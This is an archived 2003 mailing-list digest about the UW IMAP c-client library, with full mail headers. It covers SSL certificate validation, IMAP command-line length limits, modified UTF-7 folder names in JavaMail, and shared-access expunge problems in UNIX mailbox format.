10 Jun 2003 22:28:39 GMT X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN X-Uwash-Spam: Gauge=IIIII, Probability=5%, Report="PRIORITY_NO_NAME, QUOTED_EMAIL_TEXT, REFERENCES, SPAM_PHRASE_02_03, __EVITE_CTYPE, __HAS_MIMEOLE, __HAS_MSMAIL_PRI, __HAS_X_PRIORITY, __REFERENCES" Mark, Thanks a lot for the response and your time. > Why not just install any added CAs in /usr/local/ssl/certs? Isn't it > better to have the CAs set up properly for all applications? After reading the code more, I discovered that most (if not all) of this is already available and that I should probably learn more about manipulating the NET_NOVALIDATECERT flag and how to make c-client/imapd do what I want it to (only allow connections that use certificates issued by a private CA). My query was largely based on some documentation available that doesn't mention verification/validation. > Also, are you intending to add a SASL authenticator for EXTERNAL? If not, > then what does peer verification buy you, given that there is already > authentication in IMAP (in effect, you'll be authenticating twice)? > Aren't you worried about not being able to access your mail from > elsewhere? > Unless there is evidence of penetrations, it may well be more costly to > get into that business than just leaving well (bad?) enough alone. > It's reported that crypto cracking isn't even a blip on the radar screen > in terms of systems being broken into. The big name cracks are in > exploiting known bugs and human error. I'm just really really paranoid There is only a limited set of external sites from where I would like to connect to my server and I'm just learning how to explicitly disallow all connections except those from specific addresses by using linux's iptables service. By using peer verification, it gives me another level of restriction, in case someone finds a way to use ip spoofing to connect. This is probably overkill for my scenario and I don't know too much about the statistics and probability for intrusions. In any case, it looks like I can use existing functionality that is already built into c-client and be as paranoid as I want to. > > Also, I'd like to be able to control which SSL versions are used, > > particularly enabling SSLv3 and TLSv1, while disabling SSLv2 (passing > > SSL_OP_NO_SSLv2 to SSL_CTX_set_options). > > Not a good idea, and likely to cause interoperability problems. On the > SSL port (port 993 in IMAP), you need to use the SSLv23 method and not > TLSv1. On TLS (STARTTLS command on the regular ports), you need to use > TLSv1 and not the SSL methods. I think that SSLv23 also enables TLSv1, then setting the SSL_OP_NO_SSLv2 flag disables SSLv2. In the code, SSL_OP_ALL is set, which probably sets this option, so I'm not really worried about this anymore either. > I hope I've talk you out of doing this. Yep, you and the code have talked me out of it. Please accept my apologies for not reading the code more before sending a query, and thanks again! :) -Abe From pinedev@shivax2.cac.washington.edu Tue Jun 10 16:12:51 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 10 Jun 2003 16:12:51 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW03.04/8.12.1+UW02.12) with ESMTP id h5ANCp4S001804 for ; Tue, 10 Jun 2003 16:12:51 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h5ANCmTG017087 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 10 Jun 2003 16:12:48 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with SMTP id h5ANB766076926; Tue, 10 Jun 2003 16:11:07 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h5ANA71M038966 for ; Tue, 10 Jun 2003 16:10:07 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu3.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h5ANA6Uc012711 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 10 Jun 2003 16:10:06 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout5.cac.washington.edu (8.12.1+UW03.04/8.12.1+UW02.12) with ESMTP id h5ANA3t7015410; Tue, 10 Jun 2003 16:10:03 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW03.04/8.12.1+UW02.12) with ESMTP id h5ANA3Q0007656 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 10 Jun 2003 16:10:03 -0700 Message-Id: Date: Tue, 10 Jun 2003 16:10:05 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Abraham Backus Cc: c-client@u.washington.edu Subject: Re: more SSL support? In-Reply-To: <000001c32f9f$a37bf020$0200000a@abackusdell2> References: <000c01c32f90$3b348680$0200000a@abackusdell2> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 10 Jun 2003, Abraham Backus wrote: > After reading the code more, I discovered that most (if not all) of this is > already available and that I should probably learn more about manipulating > the NET_NOVALIDATECERT flag and how to make c-client/imapd do what I want it > to (only allow connections that use certificates issued by a private CA). NET_NOVALIDATECERT is an internal flag used by the low-level net_open() call, reflecting the /novalidate-cert switch in the specification used in the name in the higher-level call. It doesn't stipulate "only validate certificates issued by a private CA". But, if this is a system you manage, why not just install only your private CA certs on /usr/local/ssl/certs and not the regular certs? > My query was largely based on some documentation available that doesn't > mention verification/validation. I think the issue of validation was mentioned in the release notes. > This is probably overkill for my scenario I think that you hit the nail on the head. IMHO, you'd be better off using physical isolation, e.g. having clients and servers on a private network (possibly with a NAT box to the outside world). One of the dangers of being overly paranoid is if the day comes that you may have to crack your own network to get in... > I think that SSLv23 also enables TLSv1, then setting the SSL_OP_NO_SSLv2 > flag disables SSLv2. I am pretty sure that SSLv23 does not allow TLSv1. Or at least it doesn't in one of the combinations. In any case, TLSv1 is only to be used with the STARTTLS command. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Jun 11 16:31:59 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 11 Jun 2003 16:31:59 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW03.04/8.12.1+UW02.12) with ESMTP id h5BNVw4S020586 for ; Wed, 11 Jun 2003 16:31:58 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5BNVuVR001863 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 11 Jun 2003 16:31:56 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with SMTP id h5BNUDEg013810; Wed, 11 Jun 2003 16:30:14 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h5BNRH1M061048 for ; Wed, 11 Jun 2003 16:27:17 -0700 Received: from cheshire.ucs.ubc.ca (cheshire.ucs.ubc.ca [137.82.28.1]) by mxu2.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h5BNRF6e003782 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 11 Jun 2003 16:27:16 -0700 Received: from scandia.esd.itservices.ubc.ca ([137.82.28.159] helo=ubc.ca) by cheshire.ucs.ubc.ca with asmtp (TLSv1:RC4-MD5:128) (Exim 4.20) id 19QEzr-0003jG-1e for c-client@u.washington.edu; Wed, 11 Jun 2003 16:27:15 -0700 Message-Id: <3EE7BAD3.2050606@ubc.ca> Date: Wed, 11 Jun 2003 16:27:15 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: George Lindholm To: imap c-client Subject: Folder name space, imap, and javamail MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, we have a large pine user base and recently we've introduced a imap javamail based webclient to them. One of the problems that have cropped up is that there are some folders out there that can't be opened with javamail because when we do a folder list, the names we get back are not the one that are actually on the imap server. Eg. The user created folders with pine called (eg): Amazon &- Chapters IBM & Sony A Folder.list() returns Amazon & Chapters IBM and of course trying to open folder "Amazon & Chapters" fails miserably. A quick read of rfc3501 makes it sound like the server should be sending out the folder list in such a way that javamail would see the real names after passing the string through the BASE64 decoder. Or am I missing something? Is there another solution for this? Thanks JavaMail 1.3, UW imap 2002.330 George -- George.Lindholm@ubc.ca ITServices, UBC Programmer/Analyst phone: 604.822.4375 fax: 604.822.5116 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jun 12 08:11:41 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 12 Jun 2003 08:11:41 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW03.04/8.12.1+UW02.12) with ESMTP id h5CFBb4S012963 for ; Thu, 12 Jun 2003 08:11:37 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5CFBWVR025531 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 12 Jun 2003 08:11:33 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with SMTP id h5CF9cEg040894; Thu, 12 Jun 2003 08:09:38 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h5CF7m1M055128 for ; Thu, 12 Jun 2003 08:07:49 -0700 Received: from elle.sprintlink.net (elle.sprintlink.net [199.0.234.34]) by mxu3.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h5CF7kUb024027 for ; Thu, 12 Jun 2003 08:07:46 -0700 Received: from bitbucket.res.sprintlink.net (bitbucket.res.sprintlink.net [199.0.237.206]) by elle.sprintlink.net (8.11.6+Sun/8.11.6) with ESMTP id h5CF5Ww02014 for ; Thu, 12 Jun 2003 11:05:32 -0400 (EDT) Received: (from gardiner@localhost) by bitbucket.res.sprintlink.net (8.11.6+Sun/8.11.6) id h5CF7ib29560 for c-client@u.washington.edu; Thu, 12 Jun 2003 11:07:44 -0400 (EDT) Message-Id: <200306121107.43886.gardiner@sprint.net> Date: Thu, 12 Jun 2003 11:07:43 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jason Gardiner To: c-client@u.washington.edu Subject: IMAPD and Perl Net::IMAP module problems MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN X-Uwash-Spam: Gauge=XXIIIII, Probability=25%, Report="RCVD_IN_MULTIHOP_DSBL, RCVD_IN_UNCONFIRMED_DSBL, SIGNATURE_LONG_SPARSE, SPAM_PHRASE_00_01, __EVITE_CTYPE" Hello, I have written some trivial programs that use Perl to manipulate messages in mbx folders. However, once the number of messages to be manipulated reaches a certain size, the programs do not function correctly. It appears that the problem is the way the Perl module passes the commands to IMAPD. In this instance, I am copying all the messages from the Inbox to another folder for processing. A debug on the Perl program shows that the command is issued to the IMAP daemon: Sending: 5 UID COPY 16600,16601,16602,16603,16604,16605,16606,16607,16608,16609,16610,16611,16612,16 613,16614,16615,16616,16617,16618,16619,16620,16621,16622,16623,16624,16625,1662 6,16627,16628,16629,16630,16631,16632,16633,16634,16635,16636,16637,16638,16639, 16640,16641,16642,16643,16644,16645,16646,16647,16648,16649,16650,16651,16652,16 653,16654,16655,16656,16657,16658,16659,16660,16661,16662,16663,16664,16665,1666 6,16667,16668,16669,16670,16671,16672,16673,16674,16675,16676,16677,16678,16679, 16680,16681,16682,16683,16684,16685,16686,16687,16688,16689,16690,16691,16692,16 693,16694,16695,16696,16697,16698,16699,16700,16701,16702,16703,16704,16705,1670 6,16707,16708,16709,16710,16711,16712,16713,16714,16715,16716,16717,16718,16719, 16720,16721,16722,16723,16724,16725,16726,16727,16728,16729,16730,16731,16732,16 733,16734,16735,16736,16737,16738,16739,16740,16741,16742,16743,16744,16745,1674 6,16747,16748,16749,16750,16751,16752,16753,16754,16755,16756,16757,16758,16759, 16760,167! 61,16762,16763,16764,16765,16766,16767,16768,16769,16770,16771,16772,16773,16774 ,16775,16776,16777,16778,16779,16780,16781,16782,16783,16784,16785,16786,16787,1 6788,16789,16790,16791,16792,16793,16794,16795,16796,16797,16798,16799,16800,168 01 /export/home1/cncabuse/mail/HOLDING If there are more than X number of messages, the debug returns Sent 344293 bytes Read: 7 BAD Command line too long This leads me to believe that there is a limitation built into the daemon. Does anyone know if it's possible to increase the command buffer size? -- Thanks, Jason Gardiner CCIE 9297 Sprint NTAC-Internet There are 10 kinds of people in this world - those that understand binary and those who don't. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jun 12 08:26:05 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 12 Jun 2003 08:26:05 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW03.04/8.12.1+UW02.12) with ESMTP id h5CFQ14S013925 for ; Thu, 12 Jun 2003 08:26:01 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5CFPvde019015 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 12 Jun 2003 08:25:58 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with SMTP id h5CFNCEg021070; Thu, 12 Jun 2003 08:23:12 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h5CFMH1M055124 for ; Thu, 12 Jun 2003 08:22:17 -0700 Received: from Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) by mxu3.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h5CFMFUb028678 for ; Thu, 12 Jun 2003 08:22:16 -0700 Received: from localhost (mrc@localhost) by Ikkoku-Kan.Panda.COM id IAA23402; Thu, 12 Jun 2003 08:22:07 -0700 (PDT) Message-Id: Date: Thu, 12 Jun 2003 08:22:06 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Jason Gardiner Cc: c-client@u.washington.edu Subject: Re: IMAPD and Perl Net::IMAP module problems In-Reply-To: <200306121107.43886.gardiner@sprint.net> References: <200306121107.43886.gardiner@sprint.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@Ikkoku-Kan.Panda.COM X-Uwash-Spam: Gauge=XIIIII, Probability=15%, Report="IN_REP_TO, MSG_ID_ADDED_BY_MTA_3, REFERENCES, SPAM_PHRASE_05_08, __IN_REP_TO, __REFERENCES, __USER_AGENT_PINE" X-Uwash-Spam: Gauge=III, Probability=3%, Report="IN_REP_TO, REFERENCES, SPAM_PHRASE_05_08, __IN_REP_TO, __REFERENCES, __USER_AGENT_PINE" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN RFC 2683 recommends that no client should send a command line of more than 1000 octets, and that all IMAP servers should accept a command line of at least 8000 octets. The UW IMAP server complies with this recommendation. Your long command line could have been avoided if you compacted the request using ranges, that is: 5 UID COPY 16600:16801 /export/home1/cncabuse/mail/HOLDING Also, if you want to copy all messages, then: tag COPY 1:* /export/home1/cncabuse/mail/HOLDING will always do the trick. Although you can probably increase the limit in the server that you are using, you will always run up against a limit. All servers will protect themselves by imposing some limit. The key is to be sensible in the client, to use ranges whenever possible, and in a worst case scenario (e.g. "copy every odd sequence numbered message") break up the command into multiple commands. I'm actually surprised that c-client didn't break up the command for you. Are you using the current version of c-client? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Jun 12 13:15:10 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 12 Jun 2003 13:15:10 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW03.04/8.12.1+UW02.12) with ESMTP id h5CKFA4S025972 for ; Thu, 12 Jun 2003 13:15:10 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5CKF5de029787 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 12 Jun 2003 13:15:06 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with SMTP id h5CKDhDE009548; Thu, 12 Jun 2003 13:13:43 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h5CKBL1M050646 for ; Thu, 12 Jun 2003 13:11:22 -0700 Received: from instantservers.com (adsl-63-193-225-142.dsl.snfc21.pacbell.net [63.193.225.142]) by mxu1.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5CKBJKP021322 for ; Thu, 12 Jun 2003 13:11:20 -0700 Received: from adsl-63-193-225-140.dsl.snfc21.pacbell.net (instantservers.com [63.193.225.140]) by instantservers.com (ISMail v1.5.4) with SMTP; Thu, 12 Jun 2003 13:08:58 -0700 Message-Id: <3EE8DE09.62E56541@instantservers.com> Date: Thu, 12 Jun 2003 13:09:45 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Carl Stehle To: "c-client@u.washington.edu" Subject: Multiple imapd connections and message handling MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN X-Uwash-Spam: Gauge=IIIIII, Probability=6%, Report="SIGNATURE_SHORT_DENSE, SPAM_PHRASE_00_01, TO_ADDRESS_EQ_REAL, X_ACCEPT_LANG, __EVITE_CTYPE" We are experiencing problems with expunge and message flags with a certain email client when it performs a specific sequence of operations with imapd. The problem with expunge occurs when the email client chooses to create a separate connection to imapd in addition to one already existing and in an IDLE state. The second connection is used for moving a message (from INBOX to a local mailbox) and marking the message for deletion. The original connection is then used for expunge. i.e. Connection 1: opened, ..., put in IDLE state Connection 2: opened, message moved from the INBOX to a local mailbox, message marked for deletion, closed Connection 1: taken out of IDLE state, messages expunged, ... The message expunge has no effect and, so far as we can tell, the reason is that the file size (of INBOX) does not change when the message is marked for deletion (setting the deleted flag increases the file size by 1 byte, but this is compensated by a reduction of one blank space in the X-Keywords line due to a change in padding). Therefore, the connection doing the expunge does not know about the flag change, and assumes no changes were made to the (INBOX) file. The (related) problem with the message flags occurs if message flags were changed prior to moving the message (e.g. if a 'recent' message becomes 'seen' during Connection 1). In that case, the file will be rewritten after the expunge (by Connection 1), overwriting the flags set by the message move (Connection 2). This situation does not occur when a single connection is used to read, mark for delete, and expunge messages since the internal state information of that connection is always used to rewrite the file. We are running imapd (2002.332) on Windows, and using traditional UNIX mailbox format for INBOX and would appreciate any recommendations on how to best handle this situation in imapd. Forcibly re-parsing the mailbox (INBOX) would probably work, but I imagine there is a very good reason for the file size check (optimization) and do not want to break it. TIA -- Carl Stehle -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jun 12 14:54:48 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 12 Jun 2003 14:54:48 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW03.04/8.12.1+UW02.12) with ESMTP id h5CLsl4S030194 for ; Thu, 12 Jun 2003 14:54:47 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5CLside000781 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 12 Jun 2003 14:54:44 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with SMTP id h5CLs2lW027582; Thu, 12 Jun 2003 14:54:02 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h5CLpf1M059920 for ; Thu, 12 Jun 2003 14:51:41 -0700 Received: from fort-point-station.mit.edu (FORT-POINT-STATION.MIT.EDU [18.7.7.76]) by mxu4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5CLpcoO004522 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 12 Jun 2003 14:51:39 -0700 Received: from grand-central-station.mit.edu (GRAND-CENTRAL-STATION.MIT.EDU [18.7.21.82]) by fort-point-station.mit.edu (8.12.4/8.9.2) with ESMTP id h5CLpb4o002858; Thu, 12 Jun 2003 17:51:37 -0400 (EDT) Received: from melbourne-city-street.mit.edu (MELBOURNE-CITY-STREET.MIT.EDU [18.7.21.86]) by grand-central-station.mit.edu (8.12.4/8.9.2) with ESMTP id h5CLpbt7026624; Thu, 12 Jun 2003 17:51:37 -0400 (EDT) Received: from mit.edu (WELL.MIT.EDU [18.250.1.77]) ) by melbourne-city-street.mit.edu (8.12.4/8.12.4) with ESMTP id h5CLpaU8006696; Thu, 12 Jun 2003 17:51:36 -0400 (EDT) Message-Id: <3EE8F5D6.4060808@mit.edu> Date: Thu, 12 Jun 2003 17:51:18 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jacob Morzinski To: George Lindholm Cc: imap c-client Subject: Re: Folder name space, imap, and javamail In-Reply-To: <3EE7BAD3.2050606@ubc.ca> References: <3EE7BAD3.2050606@ubc.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIIIII, Probability=9%, Report="IN_REP_TO, QUOTED_EMAIL_TEXT, RCVD_IN_OSIRUSOFT_COM, REFERENCES, SIGNATURE_SHORT_DENSE, X_ACCEPT_LANG, X_OSIRU_DUL_FH, X_OSIRU_OPEN_RELAY, __EVITE_CTYPE, __IN_REP_TO, __REFERENCES" X-Uwash-Spam: Gauge=IIIIIIIII, Probability=9%, Report="IN_REP_TO, QUOTED_EMAIL_TEXT, RCVD_IN_OSIRUSOFT_COM, REFERENCES, SIGNATURE_SHORT_DENSE, X_ACCEPT_LANG, X_OSIRU_DUL_FH, X_OSIRU_OPEN_RELAY, __EVITE_CTYPE, __IN_REP_TO, __REFERENCES, __USER_AGENT, __USER_AGENT_MOZILLA_UA" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN George Lindholm wrote: > The user created folders with pine called (eg): > Amazon &- Chapters [...] > A Folder.list() returns > Amazon & Chapters [...] > and of course trying to open folder "Amazon & Chapters" fails miserably. Many young imap clients don't properly handle non-ascii folder names, nor the ampersand character which is the special character used to start encoding a non-ascii name. I've seen this problem myself, with other newly-written webmail systems. Pine and Mozilla's imap client each handle folder names correctly -- you can use them as reference clients, to see what ought to happen for particular folder names. RFC 3501, section 5.1.3 lists the modified UTF-7 encoding scheme that the javamail client ought to understand, and apparently does not understand. If you bring up the point with the developers, perhaps they can fix the bug in javamail's handling of encoded folder names. -- Jacob Morzinski jmorzins@mit.edu From pinedev@shivax2.cac.washington.edu Thu Jun 12 15:50:33 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 12 Jun 2003 15:50:33 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.1+UW03.04/8.12.1+UW02.12) with ESMTP id h5CMoX4S032502 for ; Thu, 12 Jun 2003 15:50:33 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5CMoTde002751 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 12 Jun 2003 15:50:30 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with SMTP id h5CMiulW018150; Thu, 12 Jun 2003 15:44:57 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h5CMiB1M046638 for ; Thu, 12 Jun 2003 15:44:11 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxu2.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5CMi9Wq003620 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 12 Jun 2003 15:44:09 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5CMi8YV030405; Thu, 12 Jun 2003 15:44:08 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5CMi73n009668 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 12 Jun 2003 15:44:08 -0700 Message-Id: Date: Thu, 12 Jun 2003 15:44:07 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Carl Stehle Cc: "c-client@u.washington.edu" Subject: Re: Multiple imapd connections and message handling In-Reply-To: <3EE8DE09.62E56541@instantservers.com> References: <3EE8DE09.62E56541@instantservers.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN X-Uwash-Spam: Gauge=III, Probability=3%, Report="IN_REP_TO, REFERENCES, SPAM_PHRASE_05_08, __IN_REP_TO, __REFERENCES, __USER_AGENT_PINE" Whoa, pardner! Towards the end of your message, you said that you were using the traditional UNIX mailbox format. Shared access is *NOT* supported in the traditional UNIX mailbox format. In your example, Connection 1 *should* terminate the moment Connection 2 opened the mailbox. There are reasons why this might not happen. I am concerned by your report of "seen" status being revoked that this might be happening. However, I noticed your comment to the effect that you "are running imapd on Windows". Do you really mean that the IMAP server itself is running on Windows, and you are using some sort of front end such as inetlisn? If you really are running imapd on Windows, note that imapd is *NOT* supported on Windows, and usage of traditional UNIX mailbox format (as opposed to mbx format) is *especially* not supported in imapd on Windows. I strongly suggest that you give serious consideration to running imapd on UNIX *and* using the mbx format which supports shared access. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Jun 16 09:55:24 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 16 Jun 2003 09:55:24 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.1+UW03.04/8.12.1+UW02.12) with ESMTP id 